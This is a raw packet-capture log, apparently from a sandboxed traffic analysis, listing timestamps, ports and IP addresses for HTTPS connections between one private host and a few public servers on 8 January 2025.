Jan 8, 2025 15:44:43.065650940 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.065650940 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.065663099 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.065696001 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.065711975 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.066065073 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.066134930 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.066150904 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.066200972 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.066318035 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.066360950 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.075454950 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.075526953 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.075563908 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.075572968 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.075582027 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.075613022 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.075623035 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.075628042 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.075664043 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.075669050 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.076270103 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.076299906 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.076308966 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.076313972 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.076349020 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.096106052 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.096189022 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.096240997 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.096262932 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.096384048 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.096429110 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.096429110 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.096440077 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.096487045 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.096970081 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.097038031 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.097070932 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.097084045 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.097096920 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.097136974 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.100894928 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.137676001 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.137738943 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.137769938 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.137789965 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.137809038 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.137846947 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.137851000 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.137860060 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.137906075 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.143115997 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.143172979 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.143205881 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.143220901 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.143249035 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.143269062 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.143328905 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.143381119 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.143399000 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.143459082 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.143752098 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.143800974 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.143810034 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.143815994 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.143848896 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.144227028 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.144234896 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.144259930 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.144321918 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.144380093 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.144418001 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.144432068 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.144438982 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.144453049 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.145159960 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.145215034 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.145215988 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.145227909 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.145263910 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.145356894 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.145397902 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.145401001 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.145407915 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.145450115 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.146100044 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.146163940 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.146212101 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.146260977 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.146332979 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.146378994 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.146941900 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.147001982 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.155339956 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.184747934 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.184783936 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.184823990 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.184833050 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.184842110 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.184875965 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.184880018 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.184936047 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.184942961 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.185105085 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.185139894 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.185152054 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.185158014 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.185199022 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.185204983 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.185233116 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.185281038 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.185288906 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.209670067 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.224025011 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.240240097 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.253479004 CET	443	49797	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.253555059 CET	443	49797	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.253608942 CET	49797	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.254441023 CET	49797	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.254450083 CET	443	49797	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.272234917 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.272253036 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.273061991 CET	49803	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:43.273089886 CET	443	49803	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:43.273164988 CET	49803	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:43.273477077 CET	49803	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:43.273492098 CET	443	49803	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:43.302969933 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.320240974 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.347934961 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.347987890 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.348032951 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.348043919 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.348078012 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.348097086 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.348105907 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.348145008 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.348156929 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.348162889 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.348200083 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.348227024 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.348325968 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.348337889 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.348387003 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.348591089 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.348598003 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.348659039 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.349384069 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.349401951 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.349450111 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.349457026 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.349482059 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.349514008 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.352212906 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.352746964 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.352809906 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.352826118 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.352888107 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.352896929 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.352937937 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.353148937 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.353166103 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.353233099 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.353240013 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.353277922 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.353403091 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.353436947 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.353452921 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.353456974 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.353466034 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.353475094 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.353498936 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.353554964 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.353595018 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.353604078 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.353728056 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.353758097 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.353765011 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.353771925 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.353820086 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.353823900 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.353832960 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.353836060 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.353887081 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.353892088 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.353919029 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.353929043 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.353940010 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.353945017 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.353986025 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.353992939 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.354007959 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.354013920 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.354051113 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.354336023 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.354341030 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.354513884 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.354588985 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.354623079 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.354629040 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.354634047 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.354665995 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.355339050 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.355403900 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.355432034 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.355442047 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.355447054 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.355483055 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.356148958 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.356236935 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.356266022 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.356272936 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.356277943 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.356314898 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.356805086 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.356878996 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.356920958 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.357084990 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.357099056 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.357106924 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.357140064 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.357474089 CET	49804	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.357487917 CET	443	49804	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.357553005 CET	49804	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.358000994 CET	49804	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.358011961 CET	443	49804	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.412884951 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.413280010 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.413319111 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.413353920 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.413427114 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.413427114 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.413445950 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.413702011 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.413743019 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.413748026 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.413758039 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.413804054 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.413819075 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.414524078 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.414555073 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.414572954 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.414582014 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.414622068 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.421967983 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.421986103 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.422070980 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.422081947 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.422127962 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.502607107 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.502695084 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.502732992 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.502753019 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.502760887 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.502799988 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.502818108 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.502825022 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.502866030 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.503204107 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.503258944 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.503289938 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.503299952 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.503309965 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.503355026 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.548237085 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.548305988 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.548341036 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.548362017 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.548374891 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.548413992 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.548480034 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.548861027 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.548891068 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.548907995 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.548916101 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.548948050 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.548957109 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.548964024 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.549027920 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.600349903 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.600370884 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.600425005 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.600435972 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.600477934 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.600491047 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.600503922 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.600514889 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.600526094 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.600615978 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.608230114 CET	49673	443	192.168.2.16	204.79.197.203
Jan 8, 2025 15:44:43.642833948 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.643034935 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.643065929 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.643090010 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.643110991 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.643147945 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.643524885 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.643591881 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.643619061 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.643630981 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.643639088 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.643731117 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.644387960 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.644445896 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.644481897 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.644504070 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.644511938 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.644618034 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.645397902 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.645445108 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.645483017 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.645483017 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.645493984 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.645538092 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.646384954 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.675250053 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.675329924 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.675365925 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.675373077 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.675386906 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.675410986 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.675434113 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.675440073 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.675482035 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.675487995 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.675630093 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.675661087 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.675679922 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.675687075 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.675724030 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.675729990 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.675780058 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.675815105 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.675817966 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.675827026 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.675863028 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.676639080 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.676724911 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.676758051 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.676769018 CET	49796	443	192.168.2.16	172.67.144.59
